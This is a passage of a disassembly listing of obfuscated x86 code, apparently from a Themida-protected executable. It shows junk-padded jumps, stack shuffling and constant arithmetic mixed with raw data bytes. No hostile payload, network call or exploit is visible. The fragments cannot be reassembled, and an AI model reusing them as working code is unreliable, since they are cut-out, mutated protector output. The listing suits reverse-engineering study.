dd 0BB04D8F6h, 8BE9C228h, 83FFFFFEh, 96E904C1h, 0FFFFFFC2h
dd 8B042474h, 33E92404h, 2900006Bh, 0BCE955F1h, 81FFFFB4h
dd 747509F6h, 0E560E9F7h, 0E951FFFFh, 5307h
; ---------------------------------------------------------------------------
loc_548B18: ; CODE XREF: Themida_:0054CEC1j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_54C5E4
; ---------------------------------------------------------------------------
db 81h, 0C5h, 4
dd 0E9000000h, 0FFFFC3BDh, 333FBF57h, 0F92973E2h, 6CCEE9h
dd 81E5D100h, 0EB05EEC5h, 1732E921h, 0FB890000h, 50ACE9h
db 0
; ---------------------------------------------------------------------------
loc_548B55: ; CODE XREF: Themida_:00545D66j
xchg edi, [esp]
mov esp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub esp, 4
jmp loc_54D4D9
; ---------------------------------------------------------------------------
db 1
dd 8B04247Ch, 0E956243Ch, 56B7h
; ---------------------------------------------------------------------------
loc_548B80: ; CODE XREF: Themida_:00546E0Aj
pop di
sub si, cx
jmp loc_54F1DF
; ---------------------------------------------------------------------------
dw 295Bh
dd 54E95EF2h, 68FFFFECh, 267Ah, 88241489h, 0D08850CAh
dd 5A58C388h, 0E9240C8Bh, 0FFFFD41Dh
; ---------------------------------------------------------------------------
loc_548BAC: ; CODE XREF: Themida_:0054CB27j
mov eax, [esp]
jmp loc_549F50
; ---------------------------------------------------------------------------
loc_548BB4: ; CODE XREF: Themida_:005440C7j
mov [esp], esi
push ebx
jmp loc_54F31C
; ---------------------------------------------------------------------------
db 81h, 0EAh, 4
dd 0E9000000h, 5F88h, 0D0DEA81h, 0EA814A43h, 778EE309h
dd 895AD631h, 0C1815EF2h, 591D7485h, 0E981D101h, 591D7485h
dd 5724148Bh, 0C781E789h, 4, 8704C783h, 685C243Ch, 3BCAh
dd 0BA241489h, 4B6D0FBDh, 2F44F281h, 0C28112C2h, 0B120603h
dd 431AE9h, 3EE95E00h, 0C1000001h, 0E3C103EBh, 6FB85002h
dd 0C113B37Ch, 0D8F708E0h, 2361232Dh, 480F2D15h, 0A350ECCh
dd 21744BFEh, 0C38158C3h, 7A766486h, 64C2EB81h, 32059686h
dd 15C2707h, 7322DD8h, 47E95C27h, 0E900002Fh, 69C6h
; ---------------------------------------------------------------------------
loc_548C64: ; CODE XREF: Themida_:0054A8CFj
pop esi
mov ebx, ebp
pop ebp
sub ebx, ecx
mov ecx, [esp]
add esp, 4
push ecx
mov ecx, 316A1E25h
sub ebx, ecx
jmp loc_54D116
; ---------------------------------------------------------------------------
db 56h, 68h, 2
dd 5E000000h, 0A56CB32Dh, 0D401E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548C8E: ; CODE XREF: Themida_:0054AF27j
push ebp
mov ebp, 390293EDh
add edi, 44CA73ABh
jmp loc_54BA4D
; ---------------------------------------------------------------------------
db 8Bh
dd 0EC832404h, 240C8904h, 0FFF601E9h, 23B568FFh, 3C890000h
dd 275AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548CBA: ; CODE XREF: Themida_:00544096j
mov ecx, esp
push ebp
push eax
push 779B7146h
mov eax, [esp]
add esp, 4
sub eax, 2D3E20BBh
shl eax, 6
shr eax, 3
xor eax, 12EA845Ch
mov ebp, eax
pop eax
add ecx, ebp
mov ebp, [esp]
add esp, 4
push ebp
push ebx
mov ebx, 4F685AF6h
mov ebp, 0B097A50Eh
jmp loc_54A59B
; ---------------------------------------------------------------------------
dd 80E9FE30h
db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548CFF: ; CODE XREF: Themida_:005476A3j
mov [esp], ecx
jmp loc_54F158
; ---------------------------------------------------------------------------
db 5
dd 4, 2C75E9h, 4EC8300h, 3FB9E9h, 24048B00h, 4C481h, 0BE560000h
dd 2, 3436C181h, 0F1014BCDh, 3436BF57h, 0F9294BCDh, 0FFF578E9h
dd 5DEA01FFh, 0FFC367E9h, 0E9E189FFh, 0FFFFBB86h
; ---------------------------------------------------------------------------
loc_548D4C: ; CODE XREF: Themida_:0054A146j
pop ecx
add esp, 4
push edx
jmp loc_548781
; ---------------------------------------------------------------------------
aT_sc7 db 'T_éc7',0
dd 0ACEE8100h, 0E95266F3h, 2BD4h, 0BA15E951h, 8B66FFFFh
dd 8950240Ch, 0F5BE56E0h, 0E91AA17Dh, 159Ch, 0E9242C31h
dd 4617h, 0AAC6814Eh, 0E966A61Fh, 717h
; ---------------------------------------------------------------------------
loc_548D94: ; CODE XREF: Themida_:0054CB50j
mov esp, [esp]
jmp loc_54F2A8
; ---------------------------------------------------------------------------
dd 13C78158h, 0E909154Ah, 0FFFFE4B2h, 0B8240489h, 2, 0E5E9C389h
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548DB7: ; CODE XREF: Themida_:0054F62Dj
add ebp, 4
push edi
mov edi, 726F5A07h
jmp loc_544FA9
; ---------------------------------------------------------------------------
loc_548DC8: ; CODE XREF: Themida_:005477AFj
xchg ebp, [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
jmp loc_54D4CF
; ---------------------------------------------------------------------------
db 0B9h, 8Fh, 24h
dd 0E9E95817h, 5EFFFFDDh, 0FFFE94E9h, 2BE56FFh, 1000000h
dd 24348BF3h, 4C481h, 0E9530000h, 4270h
; ---------------------------------------------------------------------------
loc_548E00: ; CODE XREF: Themida_:0054F56Aj
pop esi
push edx
jmp loc_54C1C2
; ---------------------------------------------------------------------------
db 66h
dd 66243C87h, 665A4E68h, 66243C89h, 66241431h, 66241433h
dd 66241431h, 14F76652h, 0E95A6624h, 49F2h
; ---------------------------------------------------------------------------
loc_548E2C: ; CODE XREF: Themida_:0054A22Cj
add esp, 4
add esp, 4
push 6907h
jmp loc_54AB16
; ---------------------------------------------------------------------------
db 66h
dd 53240C8Bh, 0FFC98CE9h, 241C87FFh, 240C895Ch, 0C181E189h
dd 4, 4BE56h, 0EC810000h, 4, 68240489h, 7C1E4495h, 0B50FE958h
dd 0EE80FFFFh, 0A6B652E3h, 0E95AF028h, 6563h
; ---------------------------------------------------------------------------
loc_548E80: ; CODE XREF: Themida_:0054F321j
mov esi, ebx
mov ebx, [esp]
jmp loc_54E153
; ---------------------------------------------------------------------------
loc_548E8A: ; CODE XREF: Themida_:005464BBj
jnz loc_546D46
push 3E16h
jmp loc_5454B7
; ---------------------------------------------------------------------------
dw 4D68h
dd 89000018h, 2C812414h, 531F7624h, 0D0E95941h, 5B00003Ch
dd 843E9h, 79D76800h, 3C890000h, 0AE1BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548EC2: ; CODE XREF: Themida_:0054E2E0j
pop ebp
shr edx, 6
push ebx
mov ebx, 639C1EC2h
jmp loc_548FCD
; ---------------------------------------------------------------------------
db 0FFh, 30h, 0E9h
dd 0FFFFAB48h
; ---------------------------------------------------------------------------
loc_548ED8: ; CODE XREF: Themida_:0054C2F8j
add esi, 0FFFFFFFFh
jmp loc_5460C3
; ---------------------------------------------------------------------------
dd 486BBD55h, 0E98949B6h, 1B1EE9h, 6C78000h, 3ADDE9h, 0EC815900h
dd 4, 0FF240C89h, 0E4E9240Ch, 83FFFFC4h, 0C8704C1h, 48F5C24h
dd 69E3E924h, 0BA0000h, 29000000h, 5AD589EAh, 64BBF57h
dd 0FD311F1Fh, 34EDE9h, 24148B00h, 4C481h, 0FF550000h
dd 5D042474h, 5C24048Fh, 9C240420h, 0FFD92EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_548F49: ; CODE XREF: Themida_:0054F897j
push edi
mov edi, 3F2C5038h
jmp loc_54F359
; ---------------------------------------------------------------------------
dd 2434FF5Ch, 8306859h, 2C890000h, 618C6824h, 24890000h
dd 4BB5324h, 0E9000000h, 56E4h, 58F2C681h, 0F229F03Ah
dd 6036E9h, 6405BE00h, 0DEF76797h, 6150EE81h, 0FDE916C8h
dd 8000004Bh, 0EA28C2F5h, 0DDB9E959h, 0DF68FFFFh, 0E900000Ch
dd 0FFFFDC87h
; ---------------------------------------------------------------------------
loc_548FA8: ; CODE XREF: Themida_:0054B9DAj
mov ebx, 0
add ebx, 3C945BA4h
jmp loc_54F59B
; ---------------------------------------------------------------------------
dd 8758C501h, 33E9242Ch, 1FFFFE7h, 24148BD6h, 3C4EE9h
db 0
; ---------------------------------------------------------------------------
loc_548FCD: ; CODE XREF: Themida_:00548ECCj
inc ebx
jmp loc_54C873
; ---------------------------------------------------------------------------
db 52h
dd 0EA8021B2h, 0D0D2F6EAh, 0E9DAF6EAh, 5ED8h
; ---------------------------------------------------------------------------
loc_548FE4: ; CODE XREF: Themida_:0054B624j
mov edi, [esp]
add esp, 4
add esi, ebx
pop ebx
push 33DDh
mov [esp], ebx
push 0E1Eh
jmp loc_543E2F
; ---------------------------------------------------------------------------
loc_549002: ; CODE XREF: Themida_:00549AAAj
xor eax, 59F75FF1h
mov ebx, eax
jmp loc_545206
; ---------------------------------------------------------------------------
loc_54900E: ; CODE XREF: Themida_:00549FF9j
push 7FBEh
mov [esp], esi
mov esi, esp
push edi
mov edi, 4
sub esi, 5BFB49ABh
add esi, edi
push ebp
mov ebp, 63935401h
dec ebp
and ebp, 76F44291h
jmp loc_54D5FB
; ---------------------------------------------------------------------------
loc_549038: ; CODE XREF: Themida_:005482A9j
inc bx
add bx, 0F464h
jmp loc_547D76
; ---------------------------------------------------------------------------
dd 902047C7h, 516A7912h, 0E610C7B9h, 204F2914h, 552FE9h
dd 0AABE5600h, 0C148F23Ah, 0EEC102E6h, 0B0F68107h, 0D154174Ah
dd 4D11E9EEh, 29680000h, 89000018h, 0E589242Ch, 0FFD739E9h
dd 1ABB53FFh, 8145DF2Eh, 88077BCBh, 2DD4E975h, 8B660000h
dd 0BEE9240Ch, 59000031h, 4C481h, 0EC810000h, 4, 11DBE9h
dd 242C8900h, 0B850E589h, 21090A3Ch, 8C05E0D1h, 1BDEDEBh
dd 24048BC5h, 5704C483h, 4BFh, 5FFD0100h, 0FFB7CFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5490D5: ; CODE XREF: Themida_:0054D676j
mov [esp], edx
push eax
pushf
jmp loc_543A20
; ---------------------------------------------------------------------------
db 1
dd 0B2C281FAh, 0E91EBC30h, 0FFFFE9A4h
; ---------------------------------------------------------------------------
loc_5490EC: ; CODE XREF: Themida_:005479EFj
add ecx, 7628FB49h
sub edi, ecx
jmp loc_5485B7
; ---------------------------------------------------------------------------
loc_5490F9: ; CODE XREF: Themida_:0054AC7Fj
pop edi
shl ebx, 3
inc ebx
xor ebx, 8880872Eh
xor ecx, ebx
pop ebx
and eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_54EAA0
; ---------------------------------------------------------------------------
db 1
dd 0F5E5EF7h, 34FFC0B6h, 69D36887h, 2C890000h, 84BE5624h
dd 0E95DD964h, 135h, 343668h, 2F8EE900h, 0F6810000h, 30DC6618h
dd 0E681D6F7h, 41BA10CEh, 0EEC1D6F7h, 8DEE8106h, 8996E7D9h
dd 0BD555EF1h, 5254333Ch, 2657E9h, 5BE95800h, 56FFFFE3h
dd 3F30C8BEh, 0E3E9465Eh, 81FFFFDFh, 671799C9h, 81D1F769h
dd 7765B1C9h, 0B5F18133h, 1B3FFE5h, 0E95359CBh, 4C15h
dd 0FDE7E956h, 48BFFFFh, 15EBE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5491A2: ; CODE XREF: Themida_:00545DD2j
push 0B4578DBh
mov ebx, [esp]
add esp, 4
push edi
push 2E00FA6h
pop edi
xor ebx, edi
jmp loc_54C627
; ---------------------------------------------------------------------------
dw 4CBAh
dd 116167Dh, 8B042454h, 0C4832414h, 50BAE904h, 148B0000h
dd 4C48124h, 81000000h, 0FA7E74C3h, 0B4BDE920h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5491E6: ; CODE XREF: Themida_:00546BC7j
mov eax, [esp]
push ecx
mov ecx, esp
push esi
mov esi, 4
add ecx, esi
pop esi
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5468B2
; ---------------------------------------------------------------------------
dd 0E8743825h, 0F5392D6Dh, 0B9E9BFFEh, 66FFFFAEh, 50243C8Bh
dd 405E089h, 83000000h, 48702C0h, 31665C24h, 3366243Ch
dd 3166243Ch, 0A5E9243Ch
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549237: ; CODE XREF: Themida_:00546D91j
push ebx
mov ebx, 135B49C4h
add ebx, 3655F5CAh
sub edi, ebx
pop ebx
pop ecx
xchg edi, [esp]
jmp loc_54E376
; ---------------------------------------------------------------------------
db 8Bh
dd 0C481241Ch, 4, 16D1E9h, 0E9815F00h, 1A5861CBh, 3337E9h
dd 81D6F700h, 0FFFFFFC6h, 66BD55FFh, 2932287Fh, 0F5895DEEh
dd 0F890E95Eh, 0BF57FFFFh, 4, 815FFB01h, 2C3h, 74FF5300h
dd 34FF0424h
db 24h, 5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
jmp loc_5477A1
; ---------------------------------------------------------------------------
db 59h
dd 0BB04D828h, 59D868h, 0B12E900h, 0B9B40000h, 0E958E300h
dd 59BAh, 4EC83ADh, 57240C89h, 5A816855h, 2C8B38D5h, 4C48124h
dd 0C1000000h, 3EE906E5h, 0B8000006h, 67B748E8h, 2D03E0C1h
dd 398E388Dh, 0FFD043E9h, 6F5F05FFh, 348B298Ch, 0A759E924h
dd 3CB7FFFFh, 665BFD88h, 0F1B050h, 0F0BFE9C5h, 1C87FFFFh
dd 0E5E95C24h, 5E000050h, 57B9515Ah, 0E96FAC7Dh, 0FFFFC474h
dd 0DB20EA81h, 0D6315DF2h, 215AE95Ah, 0CF810000h, 758C3E91h
dd 0E7C1EFD1h, 9AC78103h, 8154734Eh, 631129EFh, 0E9F9010Ch
dd 0FFFFFF11h
; ---------------------------------------------------------------------------
loc_54934C: ; CODE XREF: Themida_:00546736j
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp]
jmp loc_544D00
; ---------------------------------------------------------------------------
db 89h
dd 4C781E7h, 0E9000000h, 1E31h, 148BD104h, 4C48324h, 0D8006A2Ch
dd 0E52C6A04h, 5801E9h, 72D7BD00h, 0F4E9673Ch
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54938B: ; CODE XREF: Themida_:00548472j
push dword ptr [esp]
mov ebx, [esp]
jmp loc_544C94
; ---------------------------------------------------------------------------
loc_549396: ; CODE XREF: Themida_:005441A2j
mov ecx, 50A43DD7h
xor ecx, 7E9C0AF7h
sub ecx, 24C37652h
jmp loc_54CDA1
; ---------------------------------------------------------------------------
dd 0E9241C8Bh, 0FFFFE894h, 405h, 4C08300h, 1CEA68h, 24048900h
dd 42474FFh, 24048F58h, 5202E9h, 24348700h, 5524248Bh
dd 33D4E9h, 0E94F2400h, 0FFFFA788h
; ---------------------------------------------------------------------------
loc_5493E4: ; CODE XREF: Themida_:0054B00Aj
push eax
jmp loc_544798
; ---------------------------------------------------------------------------
dw 0BA52h
dd 77A67AD0h, 8104EAC1h, 4F62E6E2h, 5E2C165h, 5C7ABE56h
dd 0E6816B13h, 2A245972h, 0F7DE874Eh, 0C1DE87D3h, 0BEE907EEh
dd 51000065h, 0FFE349E9h, 2C01B8FFh, 0D82963C1h, 58C1895Bh
dd 16E8BF57h, 0FBE93CBCh, 58FFFFFEh, 4B951h, 0E9560000h
dd 0CB7h, 0E904C483h, 0FFFFAA4Bh, 0E924248Bh, 0FFFFA5D0h
dd 4C281h, 0DE90000h
db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54945B: ; CODE XREF: Themida_:0054F6CAj
push edi
jmp loc_54D9EF
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp], ecx
push ebx
push ebp
mov ebp, 757E49D2h
jmp loc_549D11
; ---------------------------------------------------------------------------
db 0C1h
dd 0BE5605E1h, 0EDF47637h, 0E95EF129h, 3FBEh, 80CAC380h
dd 805A0DC3h, 0E95269C3h, 0FFFFF31Ah, 8B243C87h, 0FDE92424h
dd 81FFFFD3h, 989195EEh, 5EF389F6h, 8102E3C1h, 4C264BEBh
dd 0D1E952F5h
db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5494C3: ; CODE XREF: Themida_:0054D96Ej
push ebx
mov bh, 0F6h
sub bh, 0D9h
jmp loc_547A79
; ---------------------------------------------------------------------------
loc_5494CE: ; CODE XREF: Themida_:0054B13Aj
add ebp, 0E50AD3EBh
sub ecx, ebp
pop ebp
jmp loc_544198
; ---------------------------------------------------------------------------
dd 0FFA53FE9h, 68FFh, 8BE90000h, 52000019h, 2223768h, 0D770E93Dh
dd 0B4BEFFFFh, 0E96A7B5Ah, 0FFFFCE23h, 2CE0E681h, 17E91835h
db 1Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54950B: ; CODE XREF: Themida_:0054BF56j
mov [esp], ecx
mov ecx, 4BC535A6h
jmp loc_54F966
; ---------------------------------------------------------------------------
loc_549518: ; CODE XREF: Themida_:0054BCF7j
pop edx
mov eax, edx
mov edx, [esp]
add esp, 4
mov ebx, eax
mov eax, [esp]
add esp, 4
sub [edi+24h], ebx
push dword ptr [esp]
jmp loc_5459F5
; ---------------------------------------------------------------------------
aS8a db ']é8a',0
db 0
; ---------------------------------------------------------------------------
loc_54953D: ; CODE XREF: Themida_:00547508j
mov esi, 56551E8h
add eax, 63E33259h
add eax, esi
jmp loc_5499FD
; ---------------------------------------------------------------------------
dw 8B66h
dd 0AE682404h, 0E9000056h, 2A46h
; ---------------------------------------------------------------------------
loc_54955C: ; CODE XREF: Themida_:00543B06j
mov [esp], ecx
mov ecx, 10102FCCh
neg ecx
shl ecx, 4
jmp loc_54A9DE
; ---------------------------------------------------------------------------
loc_54956E: ; CODE XREF: Themida_:0054C37Ej
mov edi, [esp]
add esp, 4
sub ebx, 577B1C89h
sub ebx, 4E4E5FE8h
add ebx, 83B6B4Eh
sub ebx, eax
sub ebx, 83B6B4Eh
jmp loc_54CF9E
; ---------------------------------------------------------------------------
loc_549593: ; CODE XREF: Themida_:0054792Dj
mov [esp], edi
push edx
mov edx, 4A286B6Bh
push ecx
jmp loc_54C171
; ---------------------------------------------------------------------------
loc_5495A2: ; CODE XREF: Themida_:0054C633j
xchg edi, edx
sub esp, 4
mov [esp], ebp
mov ebp, 3D9F0706h
xor edx, ebp
mov ebp, [esp]
jmp loc_545418
; ---------------------------------------------------------------------------
loc_5495BC: ; CODE XREF: Themida_:00544A53j
sub ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_543E18
; ---------------------------------------------------------------------------
loc_5495C9: ; CODE XREF: Themida_:0054B3A6j
and ebp, ebx
pop ebx
dec ebp
and ebp, 5067278Dh
sub esp, 4
mov [esp], edi
mov edi, 5D7257C4h
push ebx
mov ebx, esp
jmp loc_5471FA
; ---------------------------------------------------------------------------
dw 37B9h
dd 4122A108h, 8D29BD55h, 91E90528h
db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5495F7: ; CODE XREF: Themida_:00547155j
pop esp
mov [esp], edi
push esi
mov esi, ebx
mov edi, esi
pop esi
push ebx
mov ebx, edi
push edx
mov edx, ebx
mov eax, edx
jmp loc_5441C7
; ---------------------------------------------------------------------------
dw 0F268h
dd 0E9000006h, 0FFFFADB0h, 4C1815Ah, 87000000h, 248B240Ch
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push 5656h
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push dword ptr [eax]
jmp loc_543A20
; ---------------------------------------------------------------------------
loc_54964C: ; CODE XREF: Themida_:0054ED61j
push 1B12h
mov [esp], ecx
mov cl, 0Ah
add cl, 0C7h
push ebx
mov bh, 0BDh
sub bh, 3Fh
xor cl, bh
jmp loc_54811F
; ---------------------------------------------------------------------------
dw 0CAFEh
dd 0E9D3EA80h, 0FFFFE7E5h, 4C2835Fh, 5C241487h, 5C24048Fh
dd 9C240CFEh, 0FFA39BE9h, 6037BDFFh, 0CD814EC4h, 3ED0325Ah
dd 0B850h, 0A42D0000h, 2967B151h, 51A405E8h, 0C58967B1h
dd 0E92434FFh, 36D2h
; ---------------------------------------------------------------------------
loc_5496AC: ; CODE XREF: Themida_:0054A7F7j
push 332742CFh
mov eax, [esp]
jmp loc_544213
; ---------------------------------------------------------------------------
aUNSo db 'U½Ø"',1Bh,'éO',8,0
align 4
dd 0CB80DBB3h, 0ACEB8008h, 8003E3C0h, 0E3C0A5F3h, 0F4F38006h
dd 665BDE00h, 0E9F02858h, 0FFFFE5CAh, 37E6866h, 24048966h
dd 0B75385B0h, 0E9CFFECFh, 0FFFFDC80h, 559C801h, 2, 31240433h
dd 4332404h, 1665C24h, 0E99C2404h, 0FFFFC0DCh
; ---------------------------------------------------------------------------
loc_549714: ; CODE XREF: Themida_:0054C9A1j
push 6036h
mov [esp], eax
push dword ptr [esp+4]
pop eax
jmp loc_54E9DB
; ---------------------------------------------------------------------------
dw 0C581h
dd 57444D7h, 0ED81D501h, 57444D7h, 0FFEDABE9h, 4C483FFh
dd 4EC81h, 4890000h, 68E08924h, 14F3h, 53243489h, 22301CBBh
dd 0C4EDE944h, 8141FFFFh, 5CB438C1h, 0CCF18134h, 503ACE32h
dd 523309B8h, 58C12965h, 0E959CF01h, 0FFFFE654h, 9537C381h
dd 0D801C341h, 0BD9E9h, 14896600h, 6183E924h, 56500000h
dd 0D0F75E58h, 24348750h, 3487D6F7h, 567DE924h, 0E95C0000h
dd 1FE3h, 809AB353h, 0E38057F3h, 57736875h, 0C890000h
dd 5288B524h, 0E680C2B6h, 0CB75397h, 0FFF52FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5497C9: ; CODE XREF: Themida_:0054EE7Fj
push 8E9h
jmp loc_5448AF
; ---------------------------------------------------------------------------
db 5Eh
dd 0BFF7F581h, 97E93FE5h, 2CFFFFC7h, 74B65254h, 6602EC83h
dd 0E9240489h, 702h, 4C18159h, 56000000h, 2BEh, 0A1E95200h
dd 68000029h, 2A54h, 53A468h, 24248900h, 4240481h, 0E9000000h
dd 0FFFFAC04h, 872414F7h, 87402404h, 815D2404h, 4ECh, 530CE900h
dd 835C0000h, 48704C0h, 24248B24h, 520668h, 241C8900h
dd 0F8786CBBh, 0F1BE5674h, 0E9614814h, 0FFFFD5BBh
; ---------------------------------------------------------------------------
loc_549854: ; CODE XREF: Themida_:0054BF1Aj
pop ebx
sub eax, edx
mov edx, [esp]
add esp, 4
push eax
pop dword ptr [edx+30h]
mov eax, [esp]
add esp, 4
popa
popf
jmp locret_5442CD
; ---------------------------------------------------------------------------
dw 48Bh
dd 4C48124h, 5D000000h, 2503E8C1h, 49F20DD2h, 0CCE9D8F7h
dd 81FFFFB4h, 4C4h, 53CB8100h, 0E9529A36h, 3837h, 8704C483h
dd 2CE92414h
db 2Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5498A3: ; CODE XREF: Themida_:0054A00Dj
sub bl, cl
jmp loc_54B6AA
; ---------------------------------------------------------------------------
loc_5498AA: ; CODE XREF: Themida_:0054C0B4j
xor edi, 31823BD3h
jmp loc_54B059
; ---------------------------------------------------------------------------
aFssvj db 'fSéVJ',0
align 4
dd 0B1E9F701h
db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5498C3: ; CODE XREF: Themida_:00546E68j
push ebx
mov edi, [esp]
jmp loc_545212
; ---------------------------------------------------------------------------
dd 0F4BA5251h, 0B9343D57h, 66C63B39h, 0FFAA8BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5498DD: ; CODE XREF: Themida_:005475EAj
push ecx
pop dword ptr [edi+24h]
mov ecx, [esp]
jmp loc_54B994
; ---------------------------------------------------------------------------
db 0C1h, 0E1h, 3
dd 257EF181h, 0C68153ABh, 37CF6AD0h, 0EE81CE29h, 37CF6AD0h
dd 9DC68159h, 0E96FA946h, 0FFFFF142h, 5A66D62Ch, 0D828BA2Ch
dd 1580E9h, 6ED8100h, 0E9D93A2Ah, 0FFFFBEE0h, 6A68C80Fh
dd 89000032h, 0EDE92404h
db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549933: ; CODE XREF: Themida_:0054719Dj
sub esi, 49882C7Dh
add esi, edi
jmp loc_54F6C3
; ---------------------------------------------------------------------------
dd 240C8B66h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_543F48
; ---------------------------------------------------------------------------
dw 0ECB0h
dd 802CC8FEh, 527CE9h, 4C48100h, 0E9000000h, 0FFFFC0ECh
dd 0D0F7D0F7h, 0F2556235h, 58C1296Dh, 12EA685Eh, 0C890000h
dd 2474FF24h, 48F5904h, 8B665C24h, 0C168240Ch, 89000053h
dd 5D54242Ch, 4C581h, 29680000h, 89000000h, 4BE2434h, 4E3B9E7Bh
dd 0ADE9DEF7h, 5200004Dh, 0FFF561E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5499B5: ; CODE XREF: Themida_:00547EBAj
mov esi, 4
sub edi, 493F0C01h
sub edi, esi
add edi, 493F0C01h
pop esi
xchg edi, [esp]
pop esp
jmp loc_543A46
; ---------------------------------------------------------------------------
dw 0C480h
dd 8C48072h, 0E94BEA80h, 0FFFFD67Ch
; ---------------------------------------------------------------------------
loc_5499E0: ; CODE XREF: Themida_:0054B517j
xor ebx, esi
jmp loc_54F614
; ---------------------------------------------------------------------------
loc_5499E7: ; CODE XREF: Themida_:00549E05j
shr ecx, 0Bh
push 80h
mov [esp], ecx
jmp loc_548128
; ---------------------------------------------------------------------------
db 46h
dd 0FFD912E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5499FD: ; CODE XREF: Themida_:00549549j
push ebx
mov ebx, 15DD392Ch
add ebx, 4E05F92Dh
sub eax, 2EBF2837h
jmp loc_549CA4
; ---------------------------------------------------------------------------
db 80h
dd 0EE8006F6h, 745E930h, 2C890000h, 4BBE924h, 0F1810000h
dd 300B54E9h, 6998E981h, 0B850710Eh, 33731362h, 8904EC83h
dd 0F7BB241Ch, 0E9700F27h, 51C6h
; ---------------------------------------------------------------------------
loc_549A48: ; CODE XREF: Themida_:00549E43j
pop ebx
push eax
mov eax, 4
sub ebp, eax
pop eax
xchg ebp, [esp]
pop esp
mov [esp], eax
xchg esi, [esp]
push esi
xchg eax, [esp]
not eax
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esi, [esp]
jmp loc_54F699
; ---------------------------------------------------------------------------
loc_549A73: ; CODE XREF: Themida_:0054CD46j
push ecx
mov ecx, 0FFFFFFFFh
add esi, ecx
pop ecx
jmp loc_54BDB9
; ---------------------------------------------------------------------------
loc_549A81: ; CODE XREF: Themida_:0054C528j
pop edi
shl esi, 1
sub esi, 2C0F4D61h
not esi
sub esi, 0A11EE6D2h
jmp loc_54CD87
; ---------------------------------------------------------------------------
db 83h
dd 8C6804C4h, 0E900003Bh, 389Ah
; ---------------------------------------------------------------------------
loc_549AA4: ; CODE XREF: Themida_:00545128j
push 7C790E81h
pop eax
jmp loc_549002
; ---------------------------------------------------------------------------
db 57h
dd 0FE2217BFh, 1EEF8125h, 81499470h, 659C20C7h, 0E050E965h
dd 8168FFFFh, 8900006Bh, 0AFB5240Ch, 8603EDC0h, 86D0F6C5h
dd 80CDFEC5h, 0E8284FF5h, 4EC8359h, 50241C89h, 1D85E9h
dd 0E7805C00h, 244EE9B8h, 0EB800000h, 0CAEB800Dh, 0FFD787E9h
dd 28FFB7FFh, 4B3FE9FAh, 0E9010000h, 0C335E5Dh, 0D5E3E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549B16: ; CODE XREF: Themida_:00549B72j
pop dword ptr [esp]
jmp loc_54B3AB
; ---------------------------------------------------------------------------
dw 0ED81h
dd 294B3043h, 0EFFFE95Fh, 5259FFFFh, 0C281E289h, 4, 1FEE9h
dd 0DFB65200h, 35DBE9h, 4FCF6800h, 1C890000h, 96EE924h
dd 0EC810000h, 4, 54243C89h
db 8Bh, 3Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
jmp loc_549B16
; ---------------------------------------------------------------------------
loc_549B77: ; CODE XREF: Themida_:0054D6CFj
inc ah
jmp loc_5452EC
; ---------------------------------------------------------------------------
dw 0C181h
dd 4, 2B268h, 24048900h, 0A25FE956h, 895CFFFFh, 0E589242Ch
dd 4BF57h, 0ED810000h, 50C955ACh, 0FFEEDDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549BA9: ; CODE XREF: Themida_:00543FF6j
xchg edx, [esp]
pop esp
sub esp, 4
mov [esp], edx
push ecx
mov ecx, 29782D20h
mov edx, ecx
jmp loc_54AD24
; ---------------------------------------------------------------------------
loc_549BC0: ; CODE XREF: Themida_:00545F52j
add ebp, edi
pop edi
and eax, ebp
jmp loc_54A2BC
; ---------------------------------------------------------------------------
dw 0C02Ch
dd 0FFFC0EE9h, 800DB2FFh, 0EA80A6EAh, 5AD0287Eh, 0E904E828h
dd 83240C8Bh, 52E904C4h, 0BD00000Ch, 4, 0E95D5B55h, 36CBh
; ---------------------------------------------------------------------------
loc_549BF8: ; CODE XREF: Themida_:0054CFA4j
add ebx, 577B1C89h
add ebx, 7EC80898h
movzx ax, byte ptr [eax]
push 6E28h
mov [esp], ebx
push esp
pop ebx
add ebx, 4
